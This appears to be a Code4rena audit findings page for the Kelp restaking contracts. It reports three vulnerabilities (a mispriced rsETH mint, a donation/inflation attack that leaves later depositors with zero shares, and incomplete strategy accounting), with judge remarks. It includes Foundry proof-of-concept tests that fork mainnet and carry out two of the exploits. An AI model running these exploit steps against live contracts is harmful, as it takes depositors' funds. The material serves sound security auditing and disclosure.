Platform: Code4rena
Start Date: 10/11/2023
Pot Size: $28,000 USDC
Total HM: 5
Participants: 185
Period: 5 days
Judge: 0xDjango
Id: 305
League: ETH
Rank: 41/185
Findings: 3
Award: $116.71
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: T1MOH
Also found by: 0x1337, 0xNaN, 0xepley, 0xluckhu, 0xmystery, 7siech, Aamir, AlexCzm, Aymen0909, DanielArmstrong, GREY-HAWK-REACH, HChang26, Jiamin, Juntao, QiuhaoLi, Ruhum, SBSecurity, Varun_05, Weed0607, adam-idarrha, adriro, ast3ros, ayden, circlelooper, crack-the-kelp, crunch, cryptothemex, deepplus, mahdirostami, max10afternoon, osmanozdemir1, rouhsamad, rvierdiiev, trachev, xAriextz, zhaojie
36.0335 USDC - $36.03
https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L95-L110 https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTOracle.sol#L52-L79
Depositors are receiving an incorrect amount of rsETH tokens due to a flawed exchange rate calculation. This results in a loss of funds as the actual value of rsETH tokens received is less than what it should be.
When users deposit assets into the LRTDepositPool
using the depositAsset
function, The function will transfer the asset to the contract and calculate the rsETH amonut to mint then mint to users.
File: src/LRTDepositPool.sol function depositAsset( address asset, uint256 depositAmount ) external whenNotPaused nonReentrant onlySupportedAsset(asset) { // checks if (depositAmount == 0) { revert InvalidAmount(); } if (depositAmount > getAssetCurrentLimit(asset)) { revert MaximumDepositLimitReached(); } if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) { revert TokenTransferFailed(); } // interactions uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount); emit AssetDeposit(asset, depositAmount, rsethAmountMinted); }
The amount to mint is calculated in getRsETHAmountToMint
function. It takes rsETH amount to mint = asset amount * asset price / rsETH price.
function getRsETHAmountToMint( address asset, uint256 amount ) public view override returns (uint256 rsethAmountToMint) { // setup oracle contract address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE); ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress); // calculate rseth amount to mint based on asset amount and asset exchange rate rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); }
The issue lies in how the rsETH price is determined in the getRSETHPrice
function.. It calculates total value of assets deposited in ETH and divided by total rsETH supply. Let's see it carefully:
depositAsset
before
the deposit is made.
The mismatch overestimates the rsETH price and leads to depositors receiving fewer rsETH tokens than they are entitled to, as illustrated in the provided Proof of Concept (POC) below.function getRSETHPrice() external view returns (uint256 rsETHPrice) { address rsETHTokenAddress = lrtConfig.rsETH(); uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply(); if (rsEthSupply == 0) { return 1 ether; } uint256 totalETHInPool; address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL); address[] memory supportedAssets = lrtConfig.getSupportedAssetList(); uint256 supportedAssetCount = supportedAssets.length; for (uint16 asset_idx; asset_idx < supportedAssetCount;) { address asset = supportedAssets[asset_idx]; uint256 assetER = getAssetPrice(asset); uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset); totalETHInPool += totalAssetAmt * assetER; unchecked { ++asset_idx; } } return totalETHInPool / rsEthSupply; }
The wrong caculation affect the rsETH receive amount of the depositor. In the following POC, Bob deposits stETH when the price is 999387153008578800. However, the rsETH price fluctuate and much higher than stETH price.
POC:
/ SPDX-License-Identifier: MIT pragma solidity ^0.8.21; import { Test } from "forge-std/Test.sol"; import { ChainlinkPriceOracle } from "../src/oracles/ChainlinkPriceOracle.sol"; import { LRTConfig, ILRTConfig } from "src/LRTConfig.sol"; import { LRTDepositPool } from "src/LRTDepositPool.sol"; import { NodeDelegator } from "src/NodeDelegator.sol"; import { RSETH } from "src/RSETH.sol"; import { LRTOracle } from "src/LRTOracle.sol"; import { LRTConstants } from "src/utils/LRTConstants.sol"; import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol"; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {console} from "forge-std/console.sol"; contract KelpTest is Test { address public admin = makeAddr("admin"); address public alice = 0xE53FFF67f9f384d20Ebea36F43b93DC49Ed22753; // STETH whale. address public bob = makeAddr("bob"); address public carol = makeAddr("carol"); address constant STETH_MAINNET = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; address constant STETH_PRICEFEED = 0x86392dC19c0b719886221c78AB11eb8Cf5c52812; address constant STETH_STRATEGY = 0x93c4b944D05dfe6df7645A86cd2206016c51564D; address constant RETH_MAINNET = 0xae78736Cd615f374D3085123A210448E74Fc6393; address constant RETH_PRICEFEED = 0x536218f9E9Eb48863970252233c8F271f554C2d0; address constant RETH_STRATEGY = 0x1BeE69b7dFFfA4E2d53C2a2Df135C388AD25dCD2; address constant CBETH_MAINNET = 0xBe9895146f7AF43049ca1c1AE358B0541Ea49704; address constant CBETH_PRICEFEED = 0xF017fcB346A1885194689bA23Eff2fE6fA5C483b; address constant CBETH_STRATEGY = 0x54945180dB7943c0ed0FEE7EdaB2Bd24620256bc; bytes32 public constant MANAGER = keccak256("MANAGER"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant LRT_ORACLE = keccak256("LRT_ORACLE"); bytes32 public constant LRT_DEPOSIT_POOL = keccak256("LRT_DEPOSIT_POOL"); ChainlinkPriceOracle priceOracle; RSETH public rseth; NodeDelegator public nodeDel; LRTDepositPool public lrtDepositPool; LRTConfig public lrtConfig; LRTOracle public lrtOracle; address add1 = vm.addr(1); address add2 = vm.addr(1); function setUp() public { // Fork mainnet vm.createSelectFork(vm.rpcUrl(""), 18574643); // replace with the a RPC URL // Mint tokens to users: deal(RETH_MAINNET, alice, 100e18); deal(CBETH_MAINNET, alice, 100e18); deal(CBETH_MAINNET, bob, 100e18); // deploy LRTConfig LRTConfig lrtConfigImpl = new LRTConfig(); ProxyAdmin proxyAdmin = new ProxyAdmin(); TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy( address(lrtConfigImpl), address(proxyAdmin), "" ); lrtConfig = LRTConfig(address(lrtConfigProxy)); // deploy RSETH ProxyAdmin proxyAdminRSETH = new ProxyAdmin(); RSETH tokenImpl = new RSETH(); TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy( address(tokenImpl), address(proxyAdminRSETH), "" ); rseth = RSETH(address(tokenProxy)); rseth.initialize(address(admin), address(lrtConfig)); lrtConfig.initialize(address(this), STETH_MAINNET, RETH_MAINNET, CBETH_MAINNET, address(rseth)); lrtConfig.grantRole(MANAGER, address(this)); // deploy LRTDepositPool ProxyAdmin proxyAdminPool = new ProxyAdmin(); LRTDepositPool contractImplPool = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImplPool), address(proxyAdminPool), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); lrtDepositPool.initialize(address(lrtConfig)); // deploy NodeDelegator ProxyAdmin proxyAdminNode = new ProxyAdmin(); NodeDelegator nodeDelImpl = new NodeDelegator(); TransparentUpgradeableProxy nodeDelProxy = new TransparentUpgradeableProxy( address(nodeDelImpl), address(proxyAdminNode), "" ); nodeDel = NodeDelegator(address(nodeDelProxy)); nodeDel.initialize(address(lrtConfig)); // Deploy the ChainlinkPriceOracle contract ProxyAdmin proxyAdminOracle = new ProxyAdmin(); ChainlinkPriceOracle priceOracleImpl = new ChainlinkPriceOracle(); TransparentUpgradeableProxy priceOracleProxy = new TransparentUpgradeableProxy( address(priceOracleImpl), address(proxyAdminOracle), "" ); priceOracle = ChainlinkPriceOracle(address(priceOracleProxy)); priceOracle.initialize(address(lrtConfig)); priceOracle.updatePriceFeedFor(STETH_MAINNET, STETH_PRICEFEED); priceOracle.updatePriceFeedFor(RETH_MAINNET, RETH_PRICEFEED); priceOracle.updatePriceFeedFor(CBETH_MAINNET, CBETH_PRICEFEED); // LRT Oracle ProxyAdmin proxyAdminLTROracle = new ProxyAdmin(); LRTOracle lrtOracleImpl = new LRTOracle(); TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy( address(lrtOracleImpl), address(proxyAdminLTROracle), "" ); lrtOracle = LRTOracle(address(lrtOracleProxy)); lrtOracle.initialize(address(lrtConfig)); vm.startPrank(address(this)); lrtOracle.updatePriceOracleFor(STETH_MAINNET, address(priceOracle)); lrtOracle.updatePriceOracleFor(RETH_MAINNET, address(priceOracle)); lrtOracle.updatePriceOracleFor(CBETH_MAINNET, address(priceOracle)); vm.stopPrank(); lrtConfig.setContract(LRT_ORACLE, address(lrtOracle)); lrtConfig.setContract(LRT_DEPOSIT_POOL, address(lrtDepositPool)); lrtConfig.updateAssetStrategy(STETH_MAINNET, STETH_STRATEGY); lrtConfig.updateAssetStrategy(RETH_MAINNET, RETH_STRATEGY); lrtConfig.updateAssetStrategy(CBETH_MAINNET, CBETH_STRATEGY); vm.prank(admin); rseth.grantRole(MINTER_ROLE, address(lrtDepositPool)); address[] memory nodeQueue = new address[](1); nodeQueue[0] = address(nodeDel); lrtDepositPool.addNodeDelegatorContractToQueue(nodeQueue); } function testDeposit() public { // Setup vm.startPrank(alice); ERC20(STETH_MAINNET).transfer(bob, 10 ether); ERC20(STETH_MAINNET).approve(address(lrtDepositPool), 10 ether); // Alice deposit 1e18 stETH lrtDepositPool.depositAsset(STETH_MAINNET, 1 ether); assertEq(rseth.balanceOf(address(alice)), 999387153008578800); // at rsETH price: 1e18 => Alice receive 999387153008578800 rsETH assertEq(rseth.totalSupply(), 999387153008578800); // Bob deposit and the stETH price fluctuate and increase, lead to receiving much less than should be. vm.startPrank(bob); ERC20(STETH_MAINNET).approve(address(lrtDepositPool), 10 ether); lrtDepositPool.depositAsset(STETH_MAINNET, 1 ether); // rsETH price double to 1999999999999999999 => Bob deposit 1e18 stETH and only receive 499693576504289400 => Actual rate: 0.49 assertEq(rseth.balanceOf(address(bob)), 499693576504289400); uint256 balanceBobBefore1 = rseth.balanceOf(address(bob)); lrtDepositPool.depositAsset(STETH_MAINNET, 4 ether); // rsETH price double to 3999999999999999999 => Bob deposit 4e18 stETH and only receive 999387153008578800 => Actual rate: 0.24 uint256 balanceBobAfter1 = rseth.balanceOf(address(bob)); assertEq(balanceBobAfter1 - balanceBobBefore1, 999387153008578800); lrtDepositPool.depositAsset(STETH_MAINNET, 1 ether); // rs ETH price decrease to 2799999999999999999 => Bob deposit 1e18 stETH and only receive 356923983217349571 => Actual rate: 0.35 uint256 balanceBobAfter2 = rseth.balanceOf(address(bob)); assertEq(balanceBobAfter2 - balanceBobAfter1, 356923983217349571); vm.stopPrank(); } }
Manual
Exclude New Deposits in Price Calculation: Modify the getRSETHPrice
function to calculate the rsETH price without including the value of the asset currently being deposited.
Context
#0 - c4-pre-sort
2023-11-16T20:17:49Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T20:17:57Z
raymondfam marked the issue as duplicate of #62
#2 - c4-judge
2023-11-29T21:25:22Z
fatherGoose1 marked the issue as satisfactory
#3 - c4-judge
2023-12-01T19:00:05Z
fatherGoose1 changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-12-04T15:31:41Z
fatherGoose1 changed the severity to 3 (High Risk)
🌟 Selected for report: Krace
Also found by: 0xDING99YA, 0xrugpull_detector, Aamir, AlexCzm, Aymen0909, Banditx0x, Bauer, CatsSecurity, GREY-HAWK-REACH, Madalad, Phantasmagoria, QiuhaoLi, Ruhum, SBSecurity, SandNallani, SpicyMeatball, T1MOH, TheSchnilch, adam-idarrha, adriro, almurhasan, ast3ros, ayden, bronze_pickaxe, btk, chaduke, ck, crack-the-kelp, critical-or-high, deth, gumgumzum, jasonxiale, joaovwfreire, ke1caM, m_Rassska, mahdirostami, mahyar, max10afternoon, osmanozdemir1, peanuts, pep7siup, peter, ptsanev, qpzm, rouhsamad, rvierdiiev, spark, twcctop, ubl4nk, wisdomn_, zach, zhaojie
4.6614 USDC - $4.66
https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L95-L110 https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTOracle.sol#L52-L79
This vulnerability allows a malicious actor to manipulate the rsETH exchange rate, causing subsequent depositors to receive zero rsETH due to rounding errors. This results in a direct financial loss for these depositors.
When depositing, the getRsETHAmountToMint
function computes the amount of rsETH to be minted for a depositor. It multiplies the deposited asset amount by its price and divides this by the current rsETH price.
function getRsETHAmountToMint( address asset, uint256 amount ) public view override returns (uint256 rsethAmountToMint) { // setup oracle contract address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE); ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress); // calculate rseth amount to mint based on asset amount and asset exchange rate rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); }
It depends on the current rsETH price. And the rsETH price is calculated based on total ETH in pool / rsETH supply. A malicous user can donate stETH, cbETH or rETH to inflate the rsETH price. As a result, subsequent depositors receive an rsETH amount that rounds down to zero, effectively giving the attacker control over the entire pool's shares.
function getRSETHPrice() external view returns (uint256 rsETHPrice) { address rsETHTokenAddress = lrtConfig.rsETH(); uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply(); if (rsEthSupply == 0) { return 1 ether; } uint256 totalETHInPool; address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL); address[] memory supportedAssets = lrtConfig.getSupportedAssetList(); uint256 supportedAssetCount = supportedAssets.length; for (uint16 asset_idx; asset_idx < supportedAssetCount;) { address asset = supportedAssets[asset_idx]; uint256 assetER = getAssetPrice(asset); uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset); totalETHInPool += totalAssetAmt * assetER; unchecked { ++asset_idx; } } return totalETHInPool / rsEthSupply; }
POC:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.21; import { Test } from "forge-std/Test.sol"; import { ChainlinkPriceOracle } from "../src/oracles/ChainlinkPriceOracle.sol"; import { LRTConfig, ILRTConfig } from "src/LRTConfig.sol"; import { LRTDepositPool } from "src/LRTDepositPool.sol"; import { NodeDelegator } from "src/NodeDelegator.sol"; import { RSETH } from "src/RSETH.sol"; import { LRTOracle } from "src/LRTOracle.sol"; import { LRTConstants } from "src/utils/LRTConstants.sol"; import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol"; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {console} from "forge-std/console.sol"; contract DonationTest is Test { address public admin = makeAddr("admin"); address public alice = 0xE53FFF67f9f384d20Ebea36F43b93DC49Ed22753; // STETH whale. address public bob = makeAddr("bob"); address public carol = makeAddr("carol"); address constant STETH_MAINNET = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; address constant STETH_PRICEFEED = 0x86392dC19c0b719886221c78AB11eb8Cf5c52812; address constant STETH_STRATEGY = 0x93c4b944D05dfe6df7645A86cd2206016c51564D; address constant RETH_MAINNET = 0xae78736Cd615f374D3085123A210448E74Fc6393; address constant RETH_PRICEFEED = 0x536218f9E9Eb48863970252233c8F271f554C2d0; address constant RETH_STRATEGY = 0x1BeE69b7dFFfA4E2d53C2a2Df135C388AD25dCD2; address constant CBETH_MAINNET = 0xBe9895146f7AF43049ca1c1AE358B0541Ea49704; address constant CBETH_PRICEFEED = 0xF017fcB346A1885194689bA23Eff2fE6fA5C483b; address constant CBETH_STRATEGY = 0x54945180dB7943c0ed0FEE7EdaB2Bd24620256bc; bytes32 public constant MANAGER = keccak256("MANAGER"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant LRT_ORACLE = keccak256("LRT_ORACLE"); bytes32 public constant LRT_DEPOSIT_POOL = keccak256("LRT_DEPOSIT_POOL"); ChainlinkPriceOracle priceOracle; RSETH public rseth; NodeDelegator public nodeDel; LRTDepositPool public lrtDepositPool; LRTConfig public lrtConfig; LRTOracle public lrtOracle; address add1 = vm.addr(1); address add2 = vm.addr(1); function setUp() public { // Fork mainnet vm.createSelectFork(vm.rpcUrl("")); // replace with the a RPC URL // Mint tokens to users: deal(RETH_MAINNET, alice, 100e18); deal(CBETH_MAINNET, alice, 100e18); deal(CBETH_MAINNET, bob, 100e18); // deploy LRTConfig LRTConfig lrtConfigImpl = new LRTConfig(); ProxyAdmin proxyAdmin = new ProxyAdmin(); TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy( address(lrtConfigImpl), address(proxyAdmin), "" ); lrtConfig = LRTConfig(address(lrtConfigProxy)); // deploy RSETH ProxyAdmin proxyAdminRSETH = new ProxyAdmin(); RSETH tokenImpl = new RSETH(); TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy( address(tokenImpl), address(proxyAdminRSETH), "" ); rseth = RSETH(address(tokenProxy)); rseth.initialize(address(admin), address(lrtConfig)); lrtConfig.initialize(address(this), STETH_MAINNET, RETH_MAINNET, CBETH_MAINNET, address(rseth)); lrtConfig.grantRole(MANAGER, address(this)); // deploy LRTDepositPool ProxyAdmin proxyAdminPool = new ProxyAdmin(); LRTDepositPool contractImplPool = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImplPool), address(proxyAdminPool), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); lrtDepositPool.initialize(address(lrtConfig)); // deploy NodeDelegator ProxyAdmin proxyAdminNode = new ProxyAdmin(); NodeDelegator nodeDelImpl = new NodeDelegator(); TransparentUpgradeableProxy nodeDelProxy = new TransparentUpgradeableProxy( address(nodeDelImpl), address(proxyAdminNode), "" ); nodeDel = NodeDelegator(address(nodeDelProxy)); nodeDel.initialize(address(lrtConfig)); // Deploy the ChainlinkPriceOracle contract ProxyAdmin proxyAdminOracle = new ProxyAdmin(); ChainlinkPriceOracle priceOracleImpl = new ChainlinkPriceOracle(); TransparentUpgradeableProxy priceOracleProxy = new TransparentUpgradeableProxy( address(priceOracleImpl), address(proxyAdminOracle), "" ); priceOracle = ChainlinkPriceOracle(address(priceOracleProxy)); priceOracle.initialize(address(lrtConfig)); priceOracle.updatePriceFeedFor(STETH_MAINNET, STETH_PRICEFEED); priceOracle.updatePriceFeedFor(RETH_MAINNET, RETH_PRICEFEED); priceOracle.updatePriceFeedFor(CBETH_MAINNET, CBETH_PRICEFEED); // LRT Oracle ProxyAdmin proxyAdminLTROracle = new ProxyAdmin(); LRTOracle lrtOracleImpl = new LRTOracle(); TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy( address(lrtOracleImpl), address(proxyAdminLTROracle), "" ); lrtOracle = LRTOracle(address(lrtOracleProxy)); lrtOracle.initialize(address(lrtConfig)); vm.startPrank(address(this)); lrtOracle.updatePriceOracleFor(STETH_MAINNET, address(priceOracle)); lrtOracle.updatePriceOracleFor(RETH_MAINNET, address(priceOracle)); lrtOracle.updatePriceOracleFor(CBETH_MAINNET, address(priceOracle)); vm.stopPrank(); lrtConfig.setContract(LRT_ORACLE, address(lrtOracle)); lrtConfig.setContract(LRT_DEPOSIT_POOL, address(lrtDepositPool)); lrtConfig.updateAssetStrategy(STETH_MAINNET, STETH_STRATEGY); lrtConfig.updateAssetStrategy(RETH_MAINNET, RETH_STRATEGY); lrtConfig.updateAssetStrategy(CBETH_MAINNET, CBETH_STRATEGY); vm.prank(admin); rseth.grantRole(MINTER_ROLE, address(lrtDepositPool)); address[] memory nodeQueue = new address[](1); nodeQueue[0] = address(nodeDel); lrtDepositPool.addNodeDelegatorContractToQueue(nodeQueue); } function testDonationAttack() public { // Alice deposit 1 wei vm.startPrank(alice); ERC20(CBETH_MAINNET).approve(address(lrtDepositPool), 1 ether); lrtDepositPool.depositAsset(CBETH_MAINNET, 1 wei); assertEq(rseth.balanceOf(address(alice)), 1 wei); assertEq(rseth.totalSupply(), 1 wei); // donate 1 ether to inflate the price ERC20(CBETH_MAINNET).transfer(address(lrtDepositPool), 1 ether); vm.stopPrank(); // Bob deposit 1 cbETH but receive no rsETH. vm.startPrank(bob); ERC20(CBETH_MAINNET).approve(address(lrtDepositPool), 10 ether); lrtDepositPool.depositAsset(CBETH_MAINNET, 1 ether); assertEq(rseth.balanceOf(address(bob)), 0); assertEq(rseth.totalSupply(), 1 wei); } }
Manual
There are some options that are well-known:
Context
#0 - c4-pre-sort
2023-11-16T20:18:10Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T20:18:18Z
raymondfam marked the issue as duplicate of #42
#2 - c4-judge
2023-12-01T17:05:43Z
fatherGoose1 marked the issue as satisfactory
🌟 Selected for report: crack-the-kelp
Also found by: 0xDING99YA, 0xffchain, Aymen0909, Bauchibred, DanielArmstrong, Pechenite, Stormy, T1MOH, ZanyBonzy, ast3ros, bLnk, chaduke, crack-the-kelp, deepkin, deth, jasonxiale, jayfromthe13th, lsaudit, nmirchev8, osmanozdemir1, roleengineer, tallo, zhaojie
76.0163 USDC - $76.02
https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTOracle.sol#L66-L76 https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L66-L89
This issue leads to an understatement of the total assets deposited in the Eigen layer, resulting in an inaccurate rsETH price calculation. Consequently, depositors receive an incorrect amount of rsETH tokens.
When calculate the rsETH price, the getRSETHPrice
function calculates the rsETH price by looping through all supported assets and obtaining their total deposits using ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset)
.
for (uint16 asset_idx; asset_idx < supportedAssetCount;) { address asset = supportedAssets[asset_idx]; uint256 assetER = getAssetPrice(asset); uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset); totalETHInPool += totalAssetAmt * assetER; unchecked { ++asset_idx; } }
The getTotalAssetDeposits
function relies on getAssetDistributionData
to calculate the total assets, which includes assets in the LRTDepositPool, NDCs, and Eigen Layer.
/// @dev provides asset amount distribution data among depositPool, NDCs and eigenLayer /// @param asset the asset to get the total amount of /// @return assetLyingInDepositPool asset amount lying in this LRTDepositPool contract /// @return assetLyingInNDCs asset amount sum lying in all NDC contract /// @return assetStakedInEigenLayer asset amount staked in eigen layer through all NDCs function getAssetDistributionData(address asset) public view override onlySupportedAsset(asset) returns (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer) { // Question: is here the right place to have this? Could it be in LRTConfig? assetLyingInDepositPool = IERC20(asset).balanceOf(address(this)); uint256 ndcsCount = nodeDelegatorQueue.length; for (uint256 i; i < ndcsCount;) { assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]); assetStakedInEigenLayer += INodeDelegator(nodeDelegatorQueue[i]).getAssetBalance(asset); unchecked { ++i; } } }
What interesting is when calculating the assetStakedInEigenLayer
, it calls getAssetBalance
in NodeDelegator
. The function getAssetBalance
retrieves the current strategy of the assets by calling lrtConfig.assetStrategy
and call strategy.userUnderlyingView
/// @dev Returns the balance of an asset that the node delegator has deposited into the strategy /// @param asset the asset to get the balance of /// @return stakedBalance the balance of the asset function getAssetBalance(address asset) external view override returns (uint256) { address strategy = lrtConfig.assetStrategy(asset); return IStrategy(strategy).userUnderlyingView(address(this)); }
Inspect carefully, we see that lrtConfig.assetStrategy(asset)
only returns the current strategy. However an assets can be deposited in multiple strategies. For example in case a strategy of an asset is fully deposited (a strategy has max total deposit), the admin can call LRTConfig.updateAssetStrategy
to update so that the asset can be deposited in another strategy in Eigen layer. In case an asset is deposited in multiple strategies, getAssetBalance
only accounts for the asset balance in the current strategy, ignoring other strategies where the asset may also be deposited.
This oversight leads to a significant underrepresentation of the total assets staked in the Eigen Layer. The flawed calculation directly impacts the rsETH price, leading to incorrect minting amounts for depositors.
Manual
Context
#0 - c4-pre-sort
2023-11-16T20:19:12Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T20:19:26Z
raymondfam marked the issue as duplicate of #197
#2 - c4-judge
2023-12-01T17:24:53Z
fatherGoose1 marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2023-12-04T16:41:52Z
fatherGoose1 changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-12-08T17:26:07Z
fatherGoose1 marked the issue as satisfactory